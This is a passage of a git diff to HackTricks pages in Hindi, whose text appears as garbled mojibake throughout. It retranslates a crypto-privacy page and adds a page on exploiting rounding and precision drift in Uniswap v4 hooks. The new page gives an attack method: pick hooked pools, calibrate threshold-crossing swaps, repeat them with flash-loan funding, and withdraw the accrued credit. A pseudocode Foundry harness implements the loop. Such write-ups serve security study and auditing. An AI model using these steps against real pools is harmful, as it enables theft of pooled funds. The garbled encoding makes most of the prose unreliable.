рд▓рд┐рдП рдирдпрд╛ рдкрддрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИред рдкрддреЛрдВ рдХрд╛ рдкреБрдирдГ рдЙрдкрдпреЛрдЧ рдЧреЛрдкрдиреАрдпрддрд╛ рдХреЛ рдХрдордЬреЛрд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рд▓реЗрдирджреЗрди рдХреЛ рдПрдХ рд╣реА рдЗрдХрд╛рдИ рд╕реЗ рдЬреЛрдбрд╝ рджреЗрддрд╛ рд╣реИред рдЖрдзреБрдирд┐рдХ рд╡реЙрд▓реЗрдЯреНрд╕ рдЕрдкрдиреЗ рдбрд┐рдЬрд╝рд╛рдЗрди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкрддреЗ рдХреЗ рдкреБрдирдГ рдЙрдкрдпреЛрдЧ рдХреЛ рд╣рддреЛрддреНрд╕рд╛рд╣рд┐рдд рдХрд░рддреЗ рд╣реИрдВред -## **рд▓реЗрдирджреЗрди рдХреА рдЧреЛрдкрдиреАрдпрддрд╛ рдХреЗ рд▓рд┐рдП рд░рдгрдиреАрддрд┐рдпрд╛рдБ** +## **Strategies for Transaction Privacy** -- **рдХрдИ рд▓реЗрдирджреЗрди**: рдПрдХ рднреБрдЧрддрд╛рди рдХреЛ рдХрдИ рд▓реЗрдирджреЗрди рдореЗрдВ рд╡рд┐рднрд╛рдЬрд┐рдд рдХрд░рдирд╛ рд▓реЗрдирджреЗрди рдХреА рд░рд╛рд╢рд┐ рдХреЛ рдЕрд╕реНрдкрд╖реНрдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЧреЛрдкрдиреАрдпрддрд╛ рд╣рдорд▓реЛрдВ рдХреЛ рд╡рд┐рдлрд▓ рдХрд░ рд╕рдХрддрд╛ рд╣реИред -- **рдкрд░рд┐рд╡рд░реНрддрди рд╕реЗ рдмрдЪрдирд╛**: рдРрд╕реЗ рд▓реЗрдирджреЗрди рдХрд╛ рдЪрдпрди рдХрд░рдирд╛ рдЬреЛ рдкрд░рд┐рд╡рд░реНрддрди рдЖрдЙрдЯрдкреБрдЯ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд░рдЦрддреЗ рд╣реИрдВ, рдЧреЛрдкрдиреАрдпрддрд╛ рдХреЛ рдмрдврд╝рд╛рддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рдкрд░рд┐рд╡рд░реНрддрди рдкрд╣рдЪрд╛рди рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЛ рдмрд╛рдзрд┐рдд рдХрд░рддрд╛ рд╣реИред -- **рдХрдИ рдкрд░рд┐рд╡рд░реНрддрди рдЖрдЙрдЯрдкреБрдЯ**: рдпрджрд┐ рдкрд░рд┐рд╡рд░реНрддрди рд╕реЗ рдмрдЪрдирд╛ рд╕рдВрднрд╡ рдирд╣реАрдВ рд╣реИ, рддреЛ рдХрдИ рдкрд░рд┐рд╡рд░реНрддрди рдЖрдЙрдЯрдкреБрдЯ рдЙрддреНрдкрдиреНрди рдХрд░рдирд╛ рднреА рдЧреЛрдкрдиреАрдпрддрд╛ рдореЗрдВ рд╕реБрдзрд╛рд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИред +- **Multiple transactions**: рднреБрдЧрддрд╛рди рдХреЛ рдХрдИ рд▓реЗрдирджреЗрди рдореЗрдВ рд╡рд┐рднрд╛рдЬрд┐рдд рдХрд░рдиреЗ рд╕реЗ рд▓реЗрдирджреЗрди рдХреА рд░рд╛рд╢рд┐ рдЕрд╕реНрдкрд╖реНрдЯ рд╣реЛ рд╕рдХрддреА рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдЧреЛрдкрдиреАрдпрддрд╛ рд╣рдорд▓реЛрдВ рдХреЛ рд╡рд┐рдлрд▓ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред +- **Change avoidance**: рдЪреЗрдВрдЬ рдЖрдЙрдЯрдкреБрдЯ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╡рд╛рд▓реЗ рд▓реЗрдирджреЗрди рдЪреБрдирдиреЗ рд╕реЗ рдЧреЛрдкрдиреАрдпрддрд╛ рдмрдврд╝рддреА рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ change detection рддрд░реАрдХреЛрдВ рдХреЛ рдмрд╛рдзрд┐рдд рдХрд░рддрд╛ рд╣реИред +- **Multiple change outputs**: рдпрджрд┐ рдЪреЗрдВрдЬ рд╕реЗ рдмрдЪрдирд╛ рд╕рдВрднрд╡ рдирд╣реАрдВ рд╣реИ, рддреЛ рдХрдИ рдЪреЗрдВрдЬ рдЖрдЙрдЯрдкреБрдЯ рдЬрдирд░реЗрдЯ рдХрд░рдирд╛ рдлрд┐рд░ рднреА рдЧреЛрдкрдиреАрдпрддрд╛ рдореЗрдВ рд╕реБрдзрд╛рд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИред -# **рдореЛрдирд░реЛ: рдЧреЛрдкрдиреАрдпрддрд╛ рдХрд╛ рдПрдХ рдкреНрд░рдХрд╛рд╢рд╕реНрддрдВрдн** +# **Monero: A Beacon of Anonymity** -рдореЛрдирд░реЛ рдбрд┐рдЬрд┐рдЯрд▓ рд▓реЗрдирджреЗрди рдореЗрдВ рдкреВрд░реНрдг рдЧреЛрдкрдиреАрдпрддрд╛ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреЛ рд╕рдВрдмреЛрдзрд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЬреЛ рдЧреЛрдкрдиреАрдпрддрд╛ рдХреЗ рд▓рд┐рдП рдПрдХ рдЙрдЪреНрдЪ рдорд╛рдирдХ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рддрд╛ рд╣реИред +Monero рдбрд┐рдЬрд┐рдЯрд▓ рд▓реЗрдирджреЗрди рдореЗрдВ рдкреВрд░реНрдг рдЧреБрдордирд╛рдореА рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреЛ рдкреВрд░рд╛ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЧреЛрдкрдиреАрдпрддрд╛ рдХреЗ рд▓рд┐рдП рдЙрдЪреНрдЪ рдорд╛рдирдХ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рддрд╛ рд╣реИред -# **рдПрдереЗрд░рд┐рдпрдо: рдЧреИрд╕ рдФрд░ рд▓реЗрдирджреЗрди** +# **Ethereum: Gas and Transactions** -## **рдЧреИрд╕ рдХреЛ рд╕рдордЭрдирд╛** +## **Understanding Gas** -рдЧреИрд╕ рдПрдереЗрд░рд┐рдпрдо рдкрд░ рд╕рдВрдЪрд╛рд▓рди рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рдЧрдгрдирд╛рддреНрдордХ рдкреНрд░рдпрд╛рд╕ рдХреЛ рдорд╛рдкрддрд╛ рд╣реИ, рдЬрд┐рд╕реЗ **рдЧреНрд╡реЗрдИ** рдореЗрдВ рдореВрд▓реНрдпрд╛рдВрдХрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, 2,310,000 рдЧреНрд╡реЗрдИ (рдпрд╛ 0.00231 ETH) рдХреА рд▓рд╛рдЧрдд рд╡рд╛рд▓рд╛ рдПрдХ рд▓реЗрдирджреЗрди рдЧреИрд╕ рд╕реАрдорд╛ рдФрд░ рдПрдХ рдЖрдзрд╛рд░ рд╢реБрд▓реНрдХ рд╢рд╛рдорд┐рд▓ рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдЦрдирд┐рдХреЛрдВ рдХреЛ рдкреНрд░реЛрддреНрд╕рд╛рд╣рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдЯрд┐рдк рд╣реЛрддреА рд╣реИред рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЕрдзрд┐рдХ рднреБрдЧрддрд╛рди рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдзрд┐рдХрддрдо рд╢реБрд▓реНрдХ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдФрд░ рдЕрддрд┐рд░рд┐рдХреНрдд рд░рд╛рд╢рд┐ рд╡рд╛рдкрд╕ рдХреА рдЬрд╛рддреА рд╣реИред +Gas Ethereum рдкрд░ рдСрдкрд░реЗрд╢рдиреЛрдВ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рдХрдореНрдкреНрдпреВрдЯреЗрд╢рдирд▓ рдкреНрд░рдпрд╛рд╕ рдХреЛ рдорд╛рдкрддрд╛ рд╣реИ, рдЬрд┐рд╕рдХрд╛ рдореВрд▓реНрдпрд╛рдВрдХрди **gwei** рдореЗрдВ рд╣реЛрддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, 2,310,000 gwei (рдпрд╛ 0.00231 ETH) рд▓рд╛рдЧрдд рд╡рд╛рд▓рд╛ рдПрдХ рд▓реЗрдирджреЗрди gas limit рдФрд░ base fee рд╢рд╛рдорд┐рд▓ рдХрд░рддрд╛ рд╣реИ, рд╕рд╛рде рд╣реА miners рдХреЛ рдкреНрд░реЛрддреНрд╕рд╛рд╣рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ tip рднреА рд╣реЛрддрд╛ рд╣реИред рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЕрдзрд┐рдХ рднреБрдЧрддрд╛рди рди рдХрд░реЗрдВ рдЗрд╕рдХреЗ рд▓рд┐рдП max fee рд╕реЗрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ; рдЕрддрд┐рд░рд┐рдХреНрдд рд░рд╛рд╢рд┐ рд╡рд╛рдкрд╕ рдХрд░ рджреА рдЬрд╛рддреА рд╣реИред -## **рд▓реЗрдирджреЗрди рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдирд╛** +## **Executing Transactions** -рдПрдереЗрд░рд┐рдпрдо рдореЗрдВ рд▓реЗрдирджреЗрди рдореЗрдВ рдПрдХ рдкреНрд░реЗрд╖рдХ рдФрд░ рдПрдХ рдкреНрд░рд╛рдкреНрддрдХрд░реНрддрд╛ рд╢рд╛рдорд┐рд▓ рд╣реЛрддреЗ рд╣реИрдВ, рдЬреЛ рдпрд╛ рддреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдпрд╛ рд╕реНрдорд╛рд░реНрдЯ рдЕрдиреБрдмрдВрдз рдкрддреЗ рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред рдЗрдиреНрд╣реЗрдВ рдПрдХ рд╢реБрд▓реНрдХ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ рдФрд░ рдЗрдиреНрд╣реЗрдВ рдЦрдирди рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред рдПрдХ рд▓реЗрдирджреЗрди рдореЗрдВ рдЖрд╡рд╢реНрдпрдХ рдЬрд╛рдирдХрд╛рд░реА рдореЗрдВ рдкреНрд░рд╛рдкреНрддрдХрд░реНрддрд╛, рдкреНрд░реЗрд╖рдХ рдХрд╛ рд╣рд╕реНрддрд╛рдХреНрд╖рд░, рдореВрд▓реНрдп, рд╡реИрдХрд▓реНрдкрд┐рдХ рдбреЗрдЯрд╛, рдЧреИрд╕ рд╕реАрдорд╛, рдФрд░ рд╢реБрд▓реНрдХ рд╢рд╛рдорд┐рд▓ рд╣реЛрддреЗ рд╣реИрдВред рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ, рдкреНрд░реЗрд╖рдХ рдХрд╛ рдкрддрд╛ рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рд╕реЗ рдирд┐рдХрд╛рд▓рд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд▓реЗрдирджреЗрди рдбреЗрдЯрд╛ рдореЗрдВ рдЗрд╕рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╕рдорд╛рдкреНрдд рд╣реЛ рдЬрд╛рддреА рд╣реИред +Ethereum рдореЗрдВ рд▓реЗрдирджреЗрди рдореЗрдВ рдПрдХ sender рдФрд░ рдПрдХ recipient рд╢рд╛рдорд┐рд▓ рд╣реЛрддреЗ рд╣реИрдВ, рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдпрд╛ smart contract рдкрддреЛрдВ рдореЗрдВ рд╕реЗ рдХреЛрдИ рднреА рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред рдЗрдирдХреЗ рд▓рд┐рдП рдПрдХ fee рдЖрд╡рд╢реНрдпрдХ рд╣реИ рдФрд░ рдЗрдиреНрд╣реЗрдВ mined рд╣реЛрдирд╛ рд╣реЛрддрд╛ рд╣реИред рдХрд┐рд╕реА рд▓реЗрдирджреЗрди рдХреА рдореМрд▓рд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдореЗрдВ recipient, sender рдХрд╛ signature, value, рд╡реИрдХрд▓реНрдкрд┐рдХ data, gas limit рдФрд░ fees рд╢рд╛рдорд┐рд▓ рд╣реИрдВред рдЙрд▓реНрд▓реЗрдЦрдиреАрдп рд╣реИ рдХрд┐ sender рдХрд╛ рдкрддрд╛ signature рд╕реЗ рдирд┐рдХрд╛рд▓рд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рд╡рд╣ transaction рдбреЗрдЯрд╛ рдореЗрдВ рдЕрд▓рдЧ рд╕реЗ рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реЛрддреАред -рдпреЗ рдкреНрд░рдерд╛рдПрдБ рдФрд░ рддрдВрддреНрд░ рдЙрди рд╕рднреА рдХреЗ рд▓рд┐рдП рдореМрд▓рд┐рдХ рд╣реИрдВ рдЬреЛ рдХреНрд░рд┐рдкреНрдЯреЛрдХреНрдпреВрд░реЗрдВрд╕реА рдХреЗ рд╕рд╛рде рд╕рдВрд▓рдЧреНрди рд╣реЛрдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рдЬрдмрдХрд┐ рдЧреЛрдкрдиреАрдпрддрд╛ рдФрд░ рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рдкреНрд░рд╛рдердорд┐рдХрддрд╛ рджреЗрддреЗ рд╣реИрдВред +рдпреЗ рдкреНрд░рдерд╛рдПрдБ рдФрд░ рддрдВрддреНрд░ рдХрд┐рд╕реА рднреА рд╡реНрдпрдХреНрддрд┐ рдХреЗ рд▓рд┐рдП рдмреБрдирд┐рдпрд╛рджреА рд╣реИрдВ рдЬреЛ рдЧреЛрдкрдиреАрдпрддрд╛ рдФрд░ рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рдкреНрд░рд╛рдердорд┐рдХрддрд╛ рджреЗрддреЗ рд╣реБрдП рдХреНрд░рд┐рдкреНрдЯреЛрдХрд░реЗрдВрд╕реА рдХреЗ рд╕рд╛рде рдЬреБрдбрд╝рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВред -## рд╕рдВрджрд░реНрдн +## References - [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake) - [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/) @@ -179,4 +181,12 @@ - [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/) - [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced_address_reuse) +## DeFi/AMM Exploitation + +рдпрджрд┐ рдЖрдк DEXes рдФрд░ AMMs (Uniswap v4 hooks, rounding/precision abuse, flashтАСloan amplified thresholdтАСcrossing swaps) рдХреЗ practical exploitation рдХрд╛ рд╢реЛрдз рдХрд░ рд░рд╣реЗ рд╣реИрдВ, рддреЛ рджреЗрдЦреЗрдВ: + +{{#ref}} +defi-amm-hook-precision.md +{{#endref}} + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/blockchain/blockchain-and-crypto-currencies/defi-amm-hook-precision.md b/src/blockchain/blockchain-and-crypto-currencies/defi-amm-hook-precision.md new file mode 100644 index 000000000..b370203e4 --- /dev/null +++ b/src/blockchain/blockchain-and-crypto-currencies/defi-amm-hook-precision.md @@ -0,0 +1,160 @@ +# DeFi/AMM рд╢реЛрд╖рдг: Uniswap v4 Hook Precision/Rounding Abuse + +{{#include ../../banners/hacktricks-training.md}} + +рдпрд╣ рдкреГрд╖реНрда Uniswap v4тАУstyle DEXes рдХреЗ рдЦрд┐рд▓рд╛рдл рдПрдХ рдХреНрд▓рд╛рд╕ рдХреЗ DeFi/AMM рд╢реЛрд╖рдг рддрдХрдиреАрдХреЛрдВ рдХрд╛ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝реАрдХрд░рдг рдХрд░рддрд╛ рд╣реИ рдЬреЛ core math рдХреЛ custom hooks рдХреЗ рд╕рд╛рде рдмрдврд╝рд╛рддреА рд╣реИрдВред рд╣рд╛рд▓ рдХрд╛ рдПрдХ рдШрдЯрдирд╛ Bunni V2 рдореЗрдВ Liquidity Distribution Function (LDF) рдХреЗ рдПрдХ rounding/precision рджреЛрд╖ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╣реБрдИ рдереА, рдЬреЛ рд╣рд░ swap рдкрд░ рдЪрд▓рддрд╛ рдерд╛ рдФрд░ attacker рдХреЛ positive credits рдЬрдорд╛ рдХрд░рдиреЗ рдФрд░ liquidity рдирд┐рдХрд╛рд▓рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдмрдирд╛рддреА рдереАред + +рдореБрдЦреНрдп рд╡рд┐рдЪрд╛рд░: рдпрджрд┐ рдХрд┐рд╕реА hook рдореЗрдВ рдЕрддрд┐рд░рд┐рдХреНрдд accounting рд▓рд╛рдЧреВ рд╣реИ рдЬреЛ fixedтАСpoint math, tick rounding, рдФрд░ threshold logic рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддреА рд╣реИ, рддреЛ attacker рдРрд╕реЗ exactтАСinput swaps рддреИрдпрд╛рд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ рд╡рд┐рд╢рд┐рд╖реНрдЯ thresholds рдХреЛ рдкрд╛рд░ рдХрд░реЗрдВ рддрд╛рдХрд┐ rounding рд╡рд┐рд╕рдВрдЧрддрд┐рдпрд╛рдБ рдЙрдирдХреЗ рдлрд╛рдпрджреЗ рдореЗрдВ рдЬрдорд╛ рд╣реЛ рдЬрд╛рдПрдБред рдЗрд╕ рдкреИрдЯрд░реНрди рдХреЛ рджреЛрд╣рд░рд╛рдХрд░ рдФрд░ рдлрд┐рд░ inflate рдХрд┐рдП рдЧрдП рдмреИрд▓реЗрдВрд╕ рдХреЛ рдирд┐рдХрд╛рд▓рдХрд░ рдореБрдирд╛рдлрд╛ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЕрдХреНрд╕рд░ flash loan рд╕реЗ рдлрдВрдб рдХрд░рдХреЗред + +## рдкреГрд╖реНрдарднреВрдорд┐: Uniswap v4 hooks рдФрд░ swap flow + +- Hooks рд╡реЗ contracts рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ PoolManager lifecycle рдХреЗ specific points рдкрд░ рдХреЙрд▓ рдХрд░рддрд╛ рд╣реИ (рдЙрджрд╛., beforeSwap/afterSwap, beforeAddLiquidity/afterAddLiquidity, beforeRemoveLiquidity/afterRemoveLiquidity)ред +- Pools рдХреЛ PoolKey рдХреЗ рд╕рд╛рде initialize рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ hooks address рд╢рд╛рдорд┐рд▓ рд╣реЛрддрд╛ рд╣реИред рдЕрдЧрд░ nonтАСzero рд╣реИ, рддреЛ PoolManager рд╣рд░ рд╕рдВрдмрдВрдзрд┐рдд рдСрдкрд░реЗрд╢рди рдкрд░ callbacks рдЪрд▓рд╛рддрд╛ рд╣реИред +- Core math fixedтАСpoint formats рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреА рд╣реИ рдЬреИрд╕реЗ Q64.96 for sqrtPriceX96 рдФрд░ tick arithmetic 1.0001^tick рдХреЗ рд╕рд╛рдеред рдКрдкрд░ рд▓реЗрдпрд░реНрдб рдХреЛрдИ рднреА custom math rounding semantics рдХреЛ рд╕рд╛рд╡рдзрд╛рдиреА рд╕реЗ рдорд┐рд▓рд╛рдирд╛ рдЪрд╛рд╣рд┐рдП рддрд╛рдХрд┐ invariant drift рди рд╣реЛред +- Swaps exactInput рдпрд╛ exactOutput рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред v3/v4 рдореЗрдВ, price ticks рдХреЗ рд╕рд╛рде рдЪрд▓рддрд╛ рд╣реИ; рдПрдХ tick boundary рдХреЛ рдкрд╛рд░ рдХрд░рдиреЗ рд╕реЗ range liquidity activate/deactivate рд╣реЛ рд╕рдХрддреА рд╣реИред Hooks threshold/tick crossings рдкрд░ рдЕрддрд┐рд░рд┐рдХреНрдд рд▓реЙрдЬрд┐рдХ рд▓рд╛рдЧреВ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред + +## Vulnerability archetype: thresholdтАСcrossing precision/rounding drift + +custom hooks рдореЗрдВ рдПрдХ рд╕рд╛рдорд╛рдиреНрдп vulnerable pattern: + +1. Hook perтАСswap liquidity рдпрд╛ balance deltas рдХреА рдЧрдгрдирд╛ integer division, mulDiv, рдпрд╛ fixedтАСpoint conversions (рдЙрджрд╛., token тЖФ liquidity using sqrtPrice рдФрд░ tick ranges) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд░рддрд╛ рд╣реИред +2. Threshold logic (рдЙрджрд╛., rebalancing, stepwise redistribution, рдпрд╛ perтАСrange activation) рддрдм рдЯреНрд░рд┐рдЧрд░ рд╣реЛрддреА рд╣реИ рдЬрдм swap size рдпрд╛ price movement рдХрд┐рд╕реА internal boundary рдХреЛ рдкрд╛рд░ рдХрд░рддрд╛ рд╣реИред +3. Rounding inconsistently рд▓рд╛рдЧреВ рд╣реЛрддрд╛ рд╣реИ (рдЙрджрд╛., truncation toward zero, floor versus ceil) forward calculation рдФрд░ settlement path рдХреЗ рдмреАрдЪред рдЫреЛрдЯреА рд╡рд┐рд╕рдВрдЧрддрд┐рдпрд╛рдБ cancel рдирд╣реАрдВ рд╣реЛрддреАрдВ рдФрд░ рдЗрд╕рдХреЗ рдмрдЬрд╛рдп caller рдХреЛ credit рдХрд░ рджреЗрддреА рд╣реИрдВред +4. ExactтАСinput swaps, рдареАрдХ рдЙрд╕реА рдЖрдХрд╛рд░ рдХреЗ рдЬрд┐рдирдХрд╛ рдЙрджреНрджреЗрд╢реНрдп рдЙрди boundaries рдХреЛ straddle рдХрд░рдирд╛ рд╣реЛрддрд╛ рд╣реИ, рдмрд╛рд░тАСрдмрд╛рд░ positive rounding remainder рдХреЛ harvest рдХрд░рддреЗ рд╣реИрдВред рдмрд╛рдж рдореЗрдВ attacker accumulated credit рдХреЛ withdrawal рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдирд┐рдХрд╛рд▓рддрд╛ рд╣реИред + +Attack preconditions +- рдПрдХ pool рдЬреЛ custom v4 hook рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣рд╛ рд╣реЛ рдЬреЛ рдкреНрд░рддреНрдпреЗрдХ swap рдкрд░ рдЕрддрд┐рд░рд┐рдХреНрдд math рдХрд░рддрд╛ рд╣реИ (рдЙрджрд╛., рдПрдХ LDF/rebalancer)ред +- рдХрдо рд╕реЗ рдХрдо рдПрдХ execution path рдЬрд╣рд╛рдБ rounding swap initiator рдХреЛ threshold crossings рдкрд░ рд▓рд╛рдн рдкрд╣реБрдВрдЪрд╛рддреА рд╣реЛред +- рдХрдИ swaps рдХреЛ atomically repeat рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ (flash loans рдЕрд╕реНрдерд╛рдпреА float рдкреНрд░рджрд╛рди рдХрд░рдиреЗ рдФрд░ gas amortize рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрджрд░реНрд╢ рд╣реИрдВ)ред + +## Practical attack methodology + +1) Identify candidate pools with hooks +- v4 pools enumerate рдХрд░реЗрдВ рдФрд░ PoolKey.hooks != address(0) рдЬрд╛рдВрдЪреЗрдВред +- hook bytecode/ABI inspect рдХрд░реЗрдВ callbacks рдХреЗ рд▓рд┐рдП: beforeSwap/afterSwap рдФрд░ рдХреЛрдИ рднреА custom rebalancing methodsред +- рдРрд╕реА math рджреЗрдЦреЗрдВ рдЬреЛ: liquidity рд╕реЗ divide рдХрд░рддреА рд╣реИ, token amounts рдФрд░ liquidity рдХреЗ рдмреАрдЪ convert рдХрд░рддреА рд╣реИ, рдпрд╛ BalanceDelta рдХреЛ rounding рдХреЗ рд╕рд╛рде aggregate рдХрд░рддреА рд╣реИред + +2) Model the hookтАЩs math and thresholds +- Hook рдХреА liquidity/redistribution formula recreate рдХрд░реЗрдВ: inputs рдЖрдорддреМрд░ рдкрд░ sqrtPriceX96, tickLower/Upper, currentTick, fee tier, рдФрд░ net liquidity рд╢рд╛рдорд┐рд▓ рдХрд░рддреЗ рд╣реИрдВред +- threshold/step functions рдХрд╛ map рдмрдирд╛рдПрдВ: ticks, bucket boundaries, рдпрд╛ LDF breakpointsред рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд░реЗрдВ рдХрд┐ рдкреНрд░рддреНрдпреЗрдХ boundary рдХреЗ рдХрд┐рди рдкрдХреНрд╖реЛрдВ рдкрд░ delta рдХреЛ рдХреИрд╕реЗ rounded рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред +- Identify рдХрд░реЗрдВ рдЬрд╣рд╛рдБ conversions uint256/int256 рдХреЗ рдмреАрдЪ cast рд╣реЛрддреЗ рд╣реИрдВ, SafeCast рдХрд╛ рдЙрдкрдпреЛрдЧ рд╣реЛрддрд╛ рд╣реИ, рдпрд╛ mulDiv рдкрд░ implicit floor рдирд┐рд░реНрднрд░ рд╣реИред + +3) Calibrate exactтАСinput swaps to cross boundaries +- Foundry/Hardhat simulations рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ minimal ╬Фin compute рдХрд░реЗрдВ рдЬреЛ price рдХреЛ boundary рдХреЗ рдареАрдХ рдкрд╛рд░ рд▓реЗ рдЬрд╛рдП рдФрд░ hook рдХреА branch trigger рдХрд░реЗред +- Verify рдХрд░реЗрдВ рдХрд┐ afterSwap settlement caller рдХреЛ cost рд╕реЗ рдЕрдзрд┐рдХ credit рдХрд░рддреА рд╣реИ, рдЬрд┐рд╕рд╕реЗ positive BalanceDelta рдпрд╛ hook рдХреЗ accounting рдореЗрдВ credit рдмрдЪрддрд╛ рд╣реИред +- Swaps рдХреЛ repeat рдХрд░рдХреЗ credit accumulate рдХрд░реЗрдВ; рдлрд┐рд░ hook рдХреЗ withdrawal/settlement path рдХреЛ рдХреЙрд▓ рдХрд░реЗрдВред + +Example FoundryтАСstyle test harness (pseudocode) +```solidity +function test_precision_rounding_abuse() public { +// 1) Arrange: set up pool with hook +PoolKey memory key = PoolKey({ +currency0: USDC, +currency1: USDT, +fee: 500, // 0.05% +tickSpacing: 10, +hooks: address(bunniHook) +}); +pm.initialize(key, initialSqrtPriceX96); + +// 2) Determine a boundaryтАСcrossing exactInput +uint256 exactIn = calibrateToCrossThreshold(key, targetTickBoundary); + +// 3) Loop swaps to accrue rounding credit +for (uint i; i < N; ++i) { +pm.swap( +key, +IPoolManager.SwapParams({ +zeroForOne: true, +amountSpecified: int256(exactIn), // exactInput +sqrtPriceLimitX96: 0 // allow tick crossing +}), +"" +); +} + +// 4) Realize inflated credit via hookтАСexposed withdrawal +bunniHook.withdrawCredits(msg.sender); +} +``` +exactInput рдХреЛ рдХреИрд▓рд┐рдмреНрд░реЗрдЯ рдХрд░рдирд╛ +- рдПрдХ tick step рдХреЗ рд▓рд┐рдП ╬ФsqrtP рдХреА рдЧрдгрдирд╛ рдХрд░реЗрдВ: sqrtP_next = sqrtP_current ├Ч 1.0001^(╬Фtick). +- v3/v4 рд╕реВрддреНрд░реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ ╬Фin рдХрд╛ рдЕрдиреБрдорд╛рди рд▓рдЧрд╛рдПрдБ: ╬Фx тЙИ L ├Ч (╬ФsqrtP / (sqrtP_next ├Ч sqrtP_current)). рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдВ рдХрд┐ рд░рд╛рдЙрдВрдбрд┐рдВрдЧ рджрд┐рд╢рд╛ рдХреЛрд░ рдЧрдгрд┐рдд рдХреЗ 